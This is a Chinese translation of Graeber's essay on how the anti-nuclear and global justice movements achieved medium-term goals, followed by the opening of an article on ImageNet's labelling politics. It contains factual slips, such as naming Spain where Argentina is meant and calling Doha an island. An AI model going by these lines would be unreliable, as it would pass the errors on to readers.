1. 虽然看起来很奇怪，但统治阶级的确生活在对我们的恐惧之中。他们似乎仍然被这样一种可能性所困扰：如果普通人真的知道统治阶级在做什么，这些当权者可能都会被吊死在树上。我知道这似乎难以置信，但很难想出其他解释关于为什么，一旦有任何大规模动员的迹象，特别是大规模的直接行动出现，统治阶级就会进入恐慌模式，并通常试图发动某种战争来转移大众的注意力。

2. 不过，从某种程度上说，统治阶级的这种恐慌是有道理的。群众性的直接行动 —— 尤其是在民主路线上组织起来的时候 —— 是非常有效的。在过去的三十年里，美国只发生过两次这样的大规模行动：70年代末的反核运动，以及1999年至2001年的所谓 “反全球化” 运动。在每个案例中，运动的主要政治目标的实现速度都远远超过了几乎所有参与者的想象。

3. 这类运动面临的真正问题是，参与者总是被最初成功的速度吓了一跳。我们从未为胜利做好准备。它使我们陷入了混乱。我们开始互相争斗。伴随着一些新的战争动员，镇压的加强、和对民族主义的鼓动，不可避免地会落入政治光谱中每一方的独裁者手中。结果就是，当我们最初的胜利的全部影响变得清晰时，我们通常忙于感觉自己是失败者，甚至没有注意到胜利的到来。4月20日至21日，在魁北克市反对美洲自由贸易区部长级会议的示威活动中，一名示威者将催泪弹扔回给发射榴弹的警察，当时正值所谓 “反全球化” 运动的高潮。

让我逐一介绍这两个最突出的例子。

I: 反核运动

「图」

70年代末的反核运动标志着我们现在所认为的标准无政府主义战术和组织形式在北美的首次出现：群众行动、亲密团队、代言人委员会、

共识过程、监狱团结、分散化的直接民主原则 ..... 与现在相比，这一切都有点原始，而且有重大差异 —— 特别是更严格的甘地式非暴力概念，但所有元素都存在，这是它们第一次作为一个整体出现。

两年来，该运动以惊人的速度发展，并显示出成为全国性现象的各种迹象。然后，几乎以同样迅猛的速度，它就瓦解了。

这一切都始于1974年，新英格兰地区的一些资深的和平主义者成功地阻止了在马萨诸塞州蒙塔古一座拟议的核电站的建造。1976年，他们与其他新英格兰地区的活动家一起，在德国长达一年的工厂占领行动的启发下，成立了蛤壳联盟。

蛤壳联盟的直接目标是阻止在新罕布什尔州锡布鲁克建造一座拟议的核电站。虽然该联盟最终没有进行占领，而是经历了一系列戏剧性的大规模逮捕，再加上监狱的声援，但他们的行动 —— 在高峰期有数万人按照直接民主的路线组织起来 —— 以前所未有的方式成功地对核电的想法提出了质疑。

此后，类似的联盟开始在全国各地涌现：南卡罗来纳州的棕榈联盟（Palmetto Alliance）、马里兰州的牡蛎壳联盟（Oystershell）、堪萨斯州的向日葵联盟（Sunflower），以及最有名的加利福尼亚州的鲍鱼联盟（Abalone Alliance）；鲍鱼联盟最初是要反对在代阿布洛峡谷（Diablo Canyon）上建造核电站这项完全疯狂的规划—— 它几乎刚好位于一条主要的地理断层线上。

蛤壳联盟组织在1976年和1977年的前三次大规模行动中取得了巨大的成功。但它很快因民主程序问题而陷入了危机。

1978年5月，新成立的协调委员会违反了程序，接受了政府在最后一刻提出的在锡布鲁克举行为期三天的合法集会的提议，而不是原计划中的第四次占领（借口是不愿意疏远周围的社区）。关于共识和社区关系的争论开始了，然后扩大到非暴力的作用问题（甚至切割栅栏，或防卫措施，如防毒面具，最初都是被禁止的），还有性别偏见，等等。

到1979年，该联盟分裂成两个争论不休的派别，而且效率越来越低，经过多次拖延，这个锡布鲁克核电站（或者说是一半的核电站）还是投入了运营。

鲍鱼联盟持续的时间更长，直到1985年，部分原因是其强大的无政府主义女性主义的核心，但最终，他们抵抗的阿布洛峡谷项目也获得了

许可，并于1988年12月投入运营。

从表面上看，这听起来并不太令人振奋。但是，这个运动真正想要实现的是什么？在这里，描绘一下它的全部目标可能是有帮助的：

1、短期目标：阻止特定核电站的建设（西布鲁克、迪亚波罗峡谷…）。

2、中期目标：阻止所有新的核电站的建设，使核电的概念变得不合法，并开始转向环保的和绿色的能源，使非暴力抵抗和女权主义激发的直接民主的新形式合法化。

3、长期目：(至少对更多的活动家来说）推翻国家，摧毁资本主义。

如果是这样，结果就很清楚了。短期目标几乎从未达到。尽管取得了许多战术上的胜利（推迟、公用事业公司破产、法律禁令），但成为群众行动焦点的工厂最终都上线了。政府根本不允许自己被视为输掉了这样一场战斗。

长期的目标显然也没有达成。但没有达成的原因之一是中期目标几乎都立即实现了。这些行动确实使核电的想法变得不合法 —— 提高了公众的意识，以至于在1979年三哩岛核电站熔毁事件时，该行业永远注定了失败。

【注：斯诺登的吹哨运用的是同样的战略模型，并且同样达成了中期目标，见《6年，改变了什么？》；但未能达成长期目标的障碍必需被大众所了解和反思，见《超越透明度革命》。】

虽然西布鲁克和迪亚波罗峡谷的计划可能没有被取消，但几乎所有其他当时悬而未决的核反应堆建造计划都被取消了，而且四分之一世纪以来没有提出新的计划。确实有一个走向环保的、绿色电力和新的民主组织技术合法化的过程。所有这一切发生的速度比任何人真正预期的都要快得多。

回过头来看，我们很容易看到大多数后续的问题都是直接从运动的迅速成功中产生的。活动家曾希望将核工业与创造它的资本主义制度的本质联系起来。事实证明，当核工业成为一种负担时，资本主义制度更愿意抛弃它。一旦巨型公用事业公司开始声称他们也想推广绿色能源，有效地邀请我们现在所说的NGO组织在谈判桌前坐下来，就会对放弃抗争产生巨大的诱惑力。特别是因为他们中的许多人只是与更激进的团体结盟，以便在一开始就为自己赢得一席之地。

不可避免的结果是一系列激烈的战略辩论。但是，如果不首先理解，在直接民主运动中战略辩论很少是这样进行的，就不可能理解这一点 —— 它们几乎总是采取转移话题的辩论的形式。以资本主义问题为例。反资本主义者通常非常乐意讨论他们对这个问题的立场；另一方面，自由主义者真的不喜欢说出“实际上，我赞成维持资本主义”那种话，所以只要有可能，自由派就会试图转移话题。

因此，实际上是关于是否直接挑战资本主义的辩论，通常最终会被争论得面红耳赤，就好像它是关于战术和非暴力的短期辩论那样。专制的社会主义者或其他对民主本身持怀疑态度的人也不喜欢把这作为一个问题，而更喜欢讨论建立最广泛的联盟的必要性。那些确实喜欢民主，但觉得某个团体采取了错误的战略方向的人，往往会发现挑战其决策过程比质疑其实际决策内容要有效得多。2001 年在魁北克市举行的反对美洲自由贸易区部长级会议的示威者被笼罩在催泪瓦斯毒雾中。

这里还有一个更少被提及的因素，但我认为同样重要。每个人都知道，面对一个广泛的、可能是革命性的联盟，任何政府的第一招都是试图分裂它—— 作出少许让步以安抚温和派，同时有选择地将激进派定罪。这就是治理艺术**101**。

此外，美国政府拥有一个不断被动员起来进行战争的全球帝国，这给了它另一个大多数政府所没有的选择。管理美国政府的人可以在任何时候提高海外的暴力程度；事实证明，这是针对化解围绕国内问题开展的社会运动进行削弱的一个非常有效的方法。民权运动之后是重大的政治让步和越南战争的迅速升级，反核运动之后是核电的放弃和冷战的加剧，以及在阿富汗和中美洲的全球大战计划和代理人战争，全球正义运动之后是华盛顿共识的瓦解和反恐战争，这似乎不是巧合。因此，早期的SDS不得不将其早期强调的参与式民主放在一边，成为了一个单纯的反战运动；反核运动演变成了核冻结运动；DAN和PGA的横向联合结构让位于ANSWER和UFPJ这样自上而下的群众组织。

从政府的角度来看，军事解决方案确实有其风险。就像在越南那样，整个事件可能会在人们的面前爆炸（因此，至少从第一次海湾战争开始，统治阶级就执着于设计一场能有效防止国内抗议的战争）。还有一个小风险是，一些误判会意外地引发核武器大决战，摧毁地球。但这些风险是面对民间动乱的政客们似乎更愿意承担的 —— 由于直接民主运动确实让统治阶级感到害怕，反战运动就是他们的首选对手。

毕竟，国家根本上是暴力的形式—— 暴力就是国家的母语。一旦争论转移到暴力与非暴力上，统治阶级就回到了自己的主场，在那里他

们最能证明自己的合理性并实施自己的行动。

不论是为发动战争还是为反对战争而设计的组织，总是倾向于比那些几乎为其他任何事情而设计的组织更有等级性。这当然也是反核运动的情况。

虽然**80**年代的反战动员的人数远远超过蛤壳联盟或鲍鱼联盟的人数，但它们也意味着回归到举着横幅的游行，被允许的集会，并放弃了新形式的直接民主的实验。2001 年，在魁北克市举行的反对美洲自由贸易区部长级会议的示威活动中，警察在障碍物后面严阵以待。

II: 全球正义运动

「图」

我想我们温和的读者大致熟悉在西雅图的世界贸易组织会议上的行动，以及六个月后在华盛顿爆发的4月16日国际货币基金组织和世界银行的封锁等事件，等等。

在美国，这场运动爆发得如此迅速和引人注目，甚至连媒体都无法完全否定它。但是，它也很快开始自我消解。直接行动网络几乎在美国的每一个主要城市都成立了，虽然其中一些（特别是西雅图和洛杉矶DAN）是改革派、反企业派、和严格的非暴力准则的爱好者，但大多数（如纽约和芝加哥DAN）基本都是无政府主义和反资本主义的，并致力于战术的多样性。其他城市（蒙特利尔、华盛顿特区）创建了更加明确的无政府主义的反资本主义聚合体。反企业派的直接行动网络几乎立即解散了，很少有持续超过几年的。有无休止的激烈争论：关于暴力非暴力，关于转移战线，关于种族主义和特权问题，关于网络模式的可行性。

然后是9.11事件，接着是镇压程度的大幅提高和随之而来的妄想症，以及工会和非政府组织中几乎所有我们以前的盟友的恐慌性逃离。到了2003年的迈阿密，我们似乎被击溃了，一场瘫痪席卷了整个运动，我们直到最近才开始恢复。

911是这样一个奇怪的事件，这样一个灾难，它使我们几乎不可能感知到周围的其他东西。在事件发生后，几乎所有在全球化运动中建立的结构都崩溃了。但是，它们如此容易崩溃的一个原因是 —— 不仅因为战争问题如此迫在眉睫—— 又是：我们的直接目标中的绝大部分，都出乎意料地实现了。2001 年 4 月 21 日，在魁北克市反对美洲自由贸易区部长级会议的示威活动外发生冲突时，black bloc 加入

了战斗。

就我而言，我是在A16前后加入纽约市直接行动网络的。当时，直接行动网络是作为一个整体认为自己是一个有两个主要战略目标的团体：一个是帮助协调反对新自由主义和当时所谓的华盛顿共识的庞大全球运动的北美部分，摧毁新自由主义思想的霸权，阻止所有新的大型贸易协定（WTO、FTAA），诋毁并最终摧毁像IMF这样的组织；另一个是取代老式的活动家组织方式及其指导委员会和意识形态的争吵，传播一种（非常受无政府主义启发的）直接民主模式—— 分散化的、亲密团队结构的、共识过程。

当时我们偶尔称之为“熏染主义”，认为人们只需要接触到直接行动和直接民主的经验，他们就会想自己开始模仿它了。

人们普遍认为，我们并不是要建立一个永久性的结构；直接行动网络只是达到这个目的的一种手段。几个创始成员向我解释说，当它达到目的时，就不再需要它了。另一方面，这些都是相当雄心勃勃的目标，所以我们也认为即使我们真的实现了这些目标，也可能需要至少十年时间。

结果，它只花了大约一年半的时间。

显然，我们没能引发一场社会革命。但我们从未达到激发数十万人起义的地步的原因之一是，我们如此迅速地实现了其他目标。以组织问题为例。虽然反战联盟仍然像反战联盟一贯的做法那样，作为自上而下的民众前线团体运作，但几乎每一个没有被某种马克思主义教派主导的小规模激进团体（这包括从蒙特利尔的叙利亚移民组织到底特律的社区花园）现在基本上都是按照无政府主义原则运作的，尽管他们自己可能并不知道。熏染主义起作用了。另外，以思想领域为例。华盛顿共识已成为废墟。以至于现在很难记住这个国家的公共话语在西雅图之前是什么样子。

媒体和政治阶层很少对任何事有如此完全一致的看法——“自由贸易”、“自由市场”和无限制的超级资本主义是人类历史的唯一可能方向；人们对于一切问题的唯一可能的解决方案预设得如此彻底，以至于任何怀疑这个命题的人都被当成了疯子。全球正义运动的活动家，当他们第一次强迫自己进入CNN或《新闻周刊》的视线时，立即被描述成反动的疯子。而一两年后，CNN和《新闻周刊》都说我们赢得了这场争论。2001 年 4 月 20 日，无政府主义者和其他示威者拆除了魁北克市美洲自由贸易区部长级会议周围的围栏。

通常，当我向一群无政府主义者当面提出这个观点时，有人会立即反驳说:“没错，言论已经改变了，但政策还是那样”。从某种意义上说确实如此。也就是说我们的确没有摧毁资本主义。但是，我们（这里的“我们” 指全球反新自由主义运动中坚持横向主义和直接行动的一群人）在仅仅两年间，的确给对它造成了俄国革命以来的任何其他行动都要更大的打击。

- 如果您错过了《没有”革命的政府”这种东西：为什么你不能用国家废除阶级》

让我逐点说明。

1、自由贸易协定方面 —— 1998年以来，所有野心勃勃的自由贸易协定都失败了。多边投资协定（MAI）已经溃败；作为魁北克市和迈阿密的运动的关注焦点的美洲自由贸易协定（FTTA）也停滞不前。而我们大多数人只记得，2003年的美洲自由贸易区峰会引入了“迈阿密模式（**Miami model**）”，即 对显然是非暴力的民间抵抗采取极端的警察镇压。

这确实没错，但我们忘记了这种措施首先是一群极度愤怒的失败者的挣扎 —— 迈阿密会议是美洲自由贸易协定最终垮台的地方。现在甚至都不再有人谈论如此规模广泛、野心勃勃的条约了。美国只能争取与韩国和秘鲁等传统盟国达成较小规模的国与国贸易协定，或者是用中美洲自由贸易协定（CAFTA）把它将中美洲其余附属国联合起来，甚至不清楚能否成功。

2、世界贸易组织方面 —— 他们的组织者在西雅图遭遇灾难后，把下一次会议转移到了波斯湾的多哈岛，他们显然决定宁可冒着被本·拉登炸死的风险，也不愿再经历一次直接行动网络的封锁。六年来，他们一直坚持“多哈回合谈判（Doha round）”。

但问题是，在抗议运动的激发下，全球南方政府开始拒绝开放对富裕国家的农产品的进口，除非这些富裕国家至少不再对自己的农业投入数十亿美元的补贴，以至全球南方的农民不可能与之竞争。美国尤其是不打算做出任何它要求其他国家做出的牺牲，因此所有协议都失败了。2006年7月，世贸组织主席皮埃尔·拉米（Pierre Lamy）宣布多哈回合谈判不再举办，随后至少两年内都不再有人提起下一次世贸谈判的事 —— 等几年后，世贸组织都很可能已经不复存在。

3、国际货币基金组织和世界银行方面 —— 这段故事是最令人称奇的。国际货币基金组织正在迅速走向破产，这是全世界反抗它的动员

活动直接导致的。直白地说就是：我们摧毁了它。世界银行也好不到那里去。但当我们感受到动员活动的全部效果的时候，我们甚至都没有注意到它。

最后一个故事值得详细讲述。

国际货币基金组织一直是这场斗争的主要对手。它是最强大、最傲慢、最无情的工具，过去的25年间，它一直被用于把新自由主义政策强加给全球南方较贫穷的国家（以操控债务的方式）。

作为紧急再融资的交换，国际货币基金组织要求这些国家采取“结构性调整计划”，迫使其大规模削减医疗教育开支、食品价格的维系，以及允许外国资本家低价收购当地资源的无休止的私有化计划。

由于某些原因，这些结构性调整从未让那些国家的经济复苏，这就意味着它们仍处于危机之中，而解决方案总是坚持再来一轮结构性调整。

国际货币基金组织还有另一个不那么出名的身份：全球强制执行者。他们的工作是确保任何一个国家（无论有多贫穷）都不能拖欠西方银行家（无论多么愚蠢）的贷款。即使一个银行家向一个腐败的独裁者提供了10亿美元的贷款，该独裁者又直接把贷款存进了他自己的瑞士银行账户并逃离了自己的国家，国际货币基金组织也要确保能从他的前受害者那里榨取10亿美元（外加丰厚的利息）。

如果哪个国家因任何原因拖欠债务，国际货币基金组织就会对它实施信用抵制，其经济影响大致相当于一颗核弹。这一切都与基本的经济理论背道而驰，根据经济理论，放贷者应该承受一定程度的风险；但是在国际政治世界中，经济法只被用于约束穷人。

这个全球强制执行者的角色导致了他们的垮台。

接下来发生的是，阿根廷拖欠了债务并侥幸逃脱了。20世纪90年代，阿根廷曾是国际货币基金组织在拉丁美洲的优等生 —— 他们几乎把除海关之外的所有公共设施都私有化了。在之后的2002年，西班牙经济崩溃了。崩溃的直接结果我们都清楚：街头打斗、民众集会、一个月内推翻三届政府、道路封锁、工厂被占领。横向主义—— 基本上是无政府主义的原则 —— 是民众反抗的核心。政治精英是如此不可信，以至于政治家们不得不戴上假发和假胡子，才能在餐馆吃饭而不遭受人身攻击。当温和的社会民主党人内斯托尔·基什内尔（Nestor Kirchner）在2003年上台时，他知道他必须做点戏剧性的事才能让大

多数人接受哪怕是组建政府的想法，更不用说接受他的政府了。于是他就做了。事实上，他做了一件任何国家总统都不被认为应当做的事——他拖欠阿根廷的外债。

基什内尔在这方面其实相当聪明。他没有拖欠国际货币基金组织的贷款。他拖欠的是阿根廷的私人债务，宣布对于所有未偿还的贷款中，每一美元他将只支付25美分。花旗银行和大通银行当然去找了国际货币基金组织，他们习惯性的扮演强制执行者，要求惩罚阿根廷。但国际货币基金组织有史以来第一次退缩了。

首先，由于阿根廷的经济已经是一片废墟，即使投下一颗经济核弹也只能溅起几片碎石。其次，几乎每个人都知道，正是国际货币基金组织灾难性的建议首先为阿根廷的崩溃埋下了伏笔。最后，也是最决定性的因素，是全球正义运动的极大影响：国际货币基金组织已经是这个星球上最令人讨厌的机构了，再去肆意摧毁阿根廷中产阶级仅存的那一点点东西，会把事情推得太过。

于是阿根廷被放过了。在此之后一切都变了。巴西和阿根廷一同安排向国际货币基金组织偿还未偿的债务。在查韦斯的一点帮助下，南美的其他国家也照做了。

2003年，拉丁美洲欠国际货币基金组织的债务为490亿美元，现在则是6.94亿美元，相比下降了98.6%。四年前拉丁美洲每欠下的一千美元，现在只欠十四美元。亚洲也跟着做了。中国和印度现在都不欠国际货币基金组织的债，且拒绝接受新贷款。现在，抵制国际货币基金组织的还包括韩国、泰国、印度尼西亚、马来西亚、菲律宾以及几乎所有重要的其他地区经济体，以及俄罗斯。该组织已经落到只能指挥非洲经济的地步，或许还能管控中东和前苏联的一些地区（基本上都是没有石油的地区）。因此它的收入在四年内暴跌了80%。

最讽刺的是，如果找不到愿意援助它的人，国际货币基金组织越来越可能破产，目前还看不出有谁格外希望援助它。随着国际货币基金组织作为财政强制执行者的名声扫地，它已不再服务于任何明显的目标，甚至也包括资本家的目标。在最近的八国集团会议上，有的提议指出要为该组织制定一项新的使命——或许类似于国际破产法院——但由于种种原因，所有的提议都以失败告终。即使国际货币基金组织还能幸存，它也只剩下一具空壳。

世界银行起初扮演过好警察的角色，它现在的情况稍微好一些，但要强调只是“稍微”好一些而已。比如，它的收入只下降了60%，而不是80%，也几乎没有遭到实际的抵制。另一方面，该组织目前之所以

还能存活，主要是因为有的国家仍愿意与它打交道，双方也都清楚这一点，因此世界银行也不再能够发号施令了。

显然，这一切并不意味着所有的怪物都已被斩尽杀绝。在拉丁美洲，新自由主义或许还在运作，欧洲的社会保护制度正受到攻击，而非洲的大部分地区—— 尽管有Bonos和世界上的富裕国家的颇为伪善的表示 —— 仍深陷债务之中。美国的经济力量在世界大部分地区都在衰退，它正拼命试图加强对墨西哥和中美洲的控制。

我们并不生活在乌托邦。这一点我们已经了解。但问题在于，为什么我们向来注意不到我们的胜利。

来自瑞士的人民全球行动活动家奥利维尔·德·马塞勒斯（Olivier de Marcellus）指出了一个原因：每当资本主义体系的某个要素，无论是核工业还是国际货币基金组织，遭到冲击，一些左翼杂志就会开始向我们解释原因，说这都是他们的计划的一部分 —— 或者可能是资本内部矛盾势不可挡的运作的结果，但肯定完全不是我们自己造成的。也许更重要一点的是，我们甚至不愿意用 “我们” 这个词。阿根廷拖欠债务，难道不是内斯托尔·基什内尔一手策划的吗？他和全球化运动有什么关系？我的意思是，他的手并不是被成千上万的市民强迫的 —— 这些人奋起反抗、捣毁银行、用独立媒体中心（IMC）协调下的民众集会取代政府。或者，好吧，也许真是这样。但即便是这样，那些反抗的市民也是全球南方的有色人种，“我们” 怎么能对他们的行动宣称负责呢？尽管他们当中的大多人都认为自己和我们一样同属于全球正义运动，信奉相似的观念，穿着相似的衣服，使用相似的战术，在许多情况下甚至和我们同属一个联盟或组织。在这里，声称 “我们” 暗含着替他人说话的原罪。

我个人认为，对于一场全球运动来说，从全球的角度来考察它的成就是合理的。这些成就并非微不足道。然而和反核运动一样，他们几乎都集中在中期目标上。让我把类似的目标的层次勾勒一下：

1）短期目标：封锁和关闭特定峰会（国际货币基金组织、世贸组织、八国集团等）。

2）中期目标：摧毁关于新自由主义的 “华盛顿共识”，阻止所有新的贸易协定，动摇世贸组织、国际货币基金组织和世界银行等机构的合法性，并最终关闭这些机构；传播直接民主的新模式。

3）长期目标：（至少对较为激进的成员来说）推翻国家，摧毁资本主义。

在这里，我们再次发现了同一种模式。在西雅图的奇迹后，短期的战术性目标几乎没有实现。但这主要是因为当政府面对这样一场运动，它倾向于坚持己见，认为它在原则上不该被明显击败。这一点其实往往被看得比峰会的成功本身更重要。大多数社会活动家似乎没有意识到，情况往往是 —— 以2001、2002年的国际货币基金组织和世界银行会议为例 —— 警方最终实施了的镇压是如此繁琐，他们几乎是自己把会议关闭了；许多活动注定要被取消，典礼被毁掉，谁都不会有机会真正地互相交流。但对统治阶级来说，问题的关键不在于贸易官员是否能会面，而在于不能让抗议者被看做赢家。

这里，中期目标的过快实现同样使长期目标的实现变得更加困难。NGO、工会等盟友几乎都立即“跳槽”；战略方面的辩论接踵而至，但它们总是作为关于种族、特权、战术等各类的争论间接地展开，就是不提实际上的战略之争。国家诉诸战争的做法也让一切变得无比困难。

正如之前我提到的，无政府主义者很难宣称自己对伊拉克战争不可避免的结果、乃至对帝国已经在那里遭遇的挫败有多大的影响，但间接影响或许还是有的。继20世纪60年代和越南战争的灾难之后，政府并没有放弃以重返战争的方式应对直接民主大众动员的国内威胁的政策。但它必须做得更小心。最重要的是，他们必须设计对外战争才能抵御国内抗议。有充分的理由相信，第一次海湾战争确实是怀着这种考虑被设计出来的。入侵伊拉克的方式 —— 坚持使用小规模、高科技军队，极度依赖于不加区分的火力，甚至攻击平民，以防止美军的伤亡水平达到类似越南战争时的水平—— 似乎是为了阻止国内一切潜在和平运动，而不是为了军事实效。不管怎样，这种看法有助于解释为什么世界上最强大的军队最终被一群几乎难以想象的乌合之众游击队困住，乃至被击败，这些游击队几乎无法进入外部的安全区，也得不到外部的资金、军事支持。正如在贸易峰会上那样，政府如此执着于确保民间抵抗力量不会被看做国内的斗争的赢家，以至于他们宁可输掉真正的战争。

视角：回顾20世纪30年代的西班牙

「图」

那么，该如何应对胜利的冲击呢？我无法声称有什么简单的答案。我写这篇文章其实更多是为了开启一场对话，把问题摆到台面上 —— 激发一场关于战略的论辩。

不过，有些隐含意思还是比较明显的。下一次当我们计划大规模的行

动时，最好至少考虑到或许我们的中期战略目标很快就会实现的可能性，以及当这种情况发生时，我们的许多盟友就将会退出。我们必须认识到战略辩论实际上是什么，即使它们看似讨论的是其他事。

举一个有名的例子：西雅图事件之后关于财产破坏的争论。我认为，其中大部分讨论实际上都是关于资本主义的。那些谴责打碎窗户的人，主要是因为他们希望呼吁中产阶级消费者转向全球交换模式下的绿色消费主义、与国外的劳工官僚和社会民主党结盟。这条道路并不旨在与资本主义直接对抗，敦促我们走这条路的大多数人，对于资本主义真正被打败的可能性至少持怀疑态度。

而那些打碎窗户的人，不在乎他们是否冒犯了郊区的房主，因为他们不把这些人看做革命反资本主义联盟中的潜在成员。实际上他们想通过劫持媒体传达一个信息，即 这个系统是脆弱的 —— 希望能在那些可能考虑加入真正的革命联盟的人身上，激起类似的反叛行动：那些与社会脱节的青少年、被压迫的有色人种、对工会官僚不耐烦的普通工人、无家可归者、被定罪者、极度不满者。

如果一场激进的反资本主义运动要在美国开始，它必须始于这样的人：他们不需要被说服这个体系已经腐败，只需要知道他们能做些什么。无论如何，即便有可能在街头没有枪战的情况下进行反资本主义革命（我们大多数人都希望如此，因为让我们面对现实吧，如果遭遇军队镇压，我们就会失败）我们也不可能在严格尊重财产权的情况下进行反资本主义革命。

后者其实引出了一个有趣的问题。赢得胜利意味着什么？不仅实现我们的中期目标，还实现长期目标意味着什么？目前，甚至没人清楚这如何能发生，因为我们已经不怎么相信 19、20 世纪传统意义上的大写的“革命”了。毕竟，关于革命的总体观点，即 会有一次大众反叛或总罢工，然后所有的围墙都会倒塌的，完全是以夺取国家政权的旧幻想为前提的。只有在这个前提下，胜利才能如此绝对和完整（如果我们谈的是整个国家或关键领土内的革命的话）。

举例来说，想想看：如果西班牙无政府主义者在1937年真的“赢了”，这究竟意味着什么？令人惊讶的是，我们很少问自己这样的问题。我们只是想象它会像俄国革命那样，以类似的方式开始，然后旧军队解散，工人苏维埃代表自发产生。但那是在大城市。俄国革命之后紧接着是多年的内战，内战中，红军逐渐把新国家的控制强加到旧俄罗斯帝国的每一个部分，无论那些社区是否想要它。让我们想象一下，如果西班牙的无政府主义民兵击溃了法西斯军队，使其彻底解散，并把社会主义共和国政府赶出它在巴塞罗那和马德里的办公室，

那么无论以谁的标准看，这都肯定是胜利。但接下来会发生什么呢？他们会把西班牙建成一个位于旧有的国际边界内的“非共和国”、“反国家”吗？他们会把人民议会制度强加给前西班牙领土上的每一个村庄和城市吗？具体怎么做呢？

我们必须记住，在当时西班牙的许多村庄、城镇、甚至整片的地区，无政府主义者都几乎不存在。有些地区几乎全部人口都是保守的天主教徒或君主主义者；在另一些地方（比如巴斯克地区），则有一群好战的、组织良好的工人阶级，但大多是社会主义者或共产主义者。即使在革命热情最高涨的时候，这些人中的大部分仍会忠于他们旧有的价值观和理念。如果获胜的非正式无政府主义联盟（FAI）试图消灭他们所有人 —— 这将需要杀死数百万人 —— 或者把他们驱逐出境，或强行转移到无政府主义社区，或送进再教育营—— 这样一来他们不仅会犯下世界级的暴行，还必须放弃无政府主义的立场。民主组织根本不可能如此有条不紊地施加暴虐：这样做需要法西斯式的自上而下的组织，因为你其实不可能让成千上万人有条不紊地去屠杀无助的妇女、儿童和老人，摧毁社区，或者把一家人赶出他们的祖居，除非他们至少能开脱说，他们“只是在服从命令”。这个问题似乎只有两种可能的解决办法“

1、让共和国继续作为事实上的政府存在，由社会主义者控制；让他们在右翼占多数的地区施行统治，同时和他们达成某种协议，让无政府主义者占多数的城市、城镇和村庄按照自己的意愿进行组织 …… 并希望政府能遵守协议。

2、宣布每个人都要组建自己的地方人民大会，让他们各自决定自己的自组织模式。

后者似乎更符合无政府主义原则，但结果不会有太大不同。毕竟，如果毕尔巴鄂的居民集体决定建立一个地方政府，又有谁能阻止他们呢？大多数人仍然忠于教会或当地地主的自治区，大概会让同一批旧的右翼权威掌权；左翼自治区会让左翼的官僚掌权。左、右翼的国家主义者将各自组成彼此竞争的联盟，尽管他们只能控制前西班牙领土的一小部分，也将各自宣布自己是西班牙的合法政府。外国政府会承认其中的一个 —— 因为他们都不会愿意与无政府主义联盟这样的非政府交换大使，即便无政府主义联盟希望与他们交换大使（实际上不会）。

换句话说，真正的枪战可能会结束，但政治斗争将继续 —— 西班牙的大部分地区看起来可能会像当代的恰帕斯州，每个地区或社区都分裂为无政府主义和反无政府主义派别。实现最终的胜利将是个漫长、

艰难的过程。真正赢得国家主义飞地的唯一办法，是说服他们的孩子，这可以通过在无国籍地区创造一种明显更自由、更愉快、更美丽、安全、放松、充实的生活来实现。另一方面，外国资本主义强国即使不进行军事干预，也会尽一切可能通过经济抵制和颠覆，以及向国家主义区域灌注资源的方式，来阻截臭名昭著的“好榜样的威胁”。最终，一切或许都将取决于无政府主义者在西班牙的胜利在多大程度上能引发其他地方类似的反叛行动。

这个想象练习的真正意义在于，指出历史上没有干净利落的决裂。“一刀两断”的传统观念（国家垮台、资本主义被打败的那一刻）的隐含意思是，如果做不到这样就不是真正的胜利。如果资本主义还在那里，如果它开始推销你曾经的颠覆性思想，就表明资本家真的赢了，而你输了，你被收编了。这种说法在我看来是荒谬的。你能说女权主义失败了、一无所成，只因为企业文化感到有义务在口头上谴责性别歧视，资本主义公司也开始营销女权主义书籍、电影和其他产品吗？当然不能：除非你已设法一举摧毁了资本主义和父权制，不然这些现象就是你已经有所作为的最明显的标志之一。

大概所有有效的革命之路都包含无数次合作，胜利的示威，微小的反叛行动或者短促、隐蔽的自治的环节。我不敢猜测它究竟会是什么样子。但要朝着这个方向前进，我们要做的第一件事是认识到我们确实赢了一些。

事实上，我们最近赢得了不少。问题在于如何打破得意和绝望的循环，提出一些战略性愿景（越多越好）—— 关于胜利如何能相互促进，以形成一个朝向新社会的逐渐累积的运动。

我们可以让步，我们可以暂歇，但我们不能放弃

从 2001 年到今天—— 斗争仍在继续。

○□

The Shock Of Victory

原文

挖掘AI：机器学习训练集中的图像政治 - iyouport

你应该了解的现实社会反抗和思考长读

【2020年11月26日存档】这个问题很重要 — — 尤其是对于那些有资源和能力在机器学习上大举投入的国家的公民来说，是的，中国和美国；这两个国家的技术人员应该明白，关于您的工作正在造成什么。这并不是一个关于 “我们如何能令技术更加完善” 的问题，而是，这种技术是否应该存在。这事关反抗、人权、自由和自决，它们是否还能具备原本的意义。

「图」

你打开了一个用于训练人工智能系统的图片数据库。

起初，事情似乎很简单。你遇到了数千张图片：苹果和橘子、鸟、狗、马、山、云、房子和路标。但当你进一步探究数据集时，人开始出现：啦啦队员、潜水员、电焊工、童子军、消防员、花童 ……

事情开始变得奇怪了。

一张穿着比基尼微笑的女人的照片被贴上了 “淫荡，放荡，邋遢的女人，荡妇” 的标签；一个喝啤酒的年轻人被归类为 “酗酒者、酒鬼、饮酒狂、海量、烈酒癖”；一个戴着墨镜的孩子被归类为 “失败者、不务正业的人、不成功人士” ……

你正在查看的是一个名为 ImageNet 的数据集中的 “人” 这一类别，ImageNet 是机器学习中被使用最广泛的训练数据集之一。

这些图片好像哪里有问题。

这些图片是从哪来的？为什么要给照片中的人贴上这样的标签？当图片与标签配对时，是什么样的政治在起作用？当它们被用来训练技术

系统时，又会产生什么样的影响？

简而言之，我们是如何走到这一步的？

关于机器视觉的早期阶段有一个都市传说，机器视觉是人工智能（AI）中关注教会机器检测和解释图像的子领域。1966年，Marvin Minsky 是麻省理工学院的一位年轻教授，在人工智能这个新兴的领域闯出了名堂，Minsky 认为解读图像的能力是智能的核心特征，于是他求助于一位本科生 Gerald Sussman，让他“花一个夏天的时间，把一台摄像机和一台计算机连接起来，让计算机描述它所看到的东西。

这就成了那个著名的“夏日远景”计划（Summer Vision Project），不用说，让计算机“看”的项目比任何人预想的都要难得多，所需要的时间也要比一个夏天的时间长得多。

我们被告知的故事是这样的：杰出的人们在计算机视觉问题上钻研了几十年，在合适的情况下开始进行，直到20世纪90年代转向概率建模和机器学习技术，加速了进展。这导致了当前的时刻，在这个时刻，诸如物体检测和面部识别等挑战已经基本解决了。 这种叙事在许多人工智能的叙述中反复出现，它们在假定持续的技术改进将解决所有问题和打破限制。

但是，如果情况正好相反呢？如果让计算机“描述他们所看到的”的挑战将永远是一个问题呢？

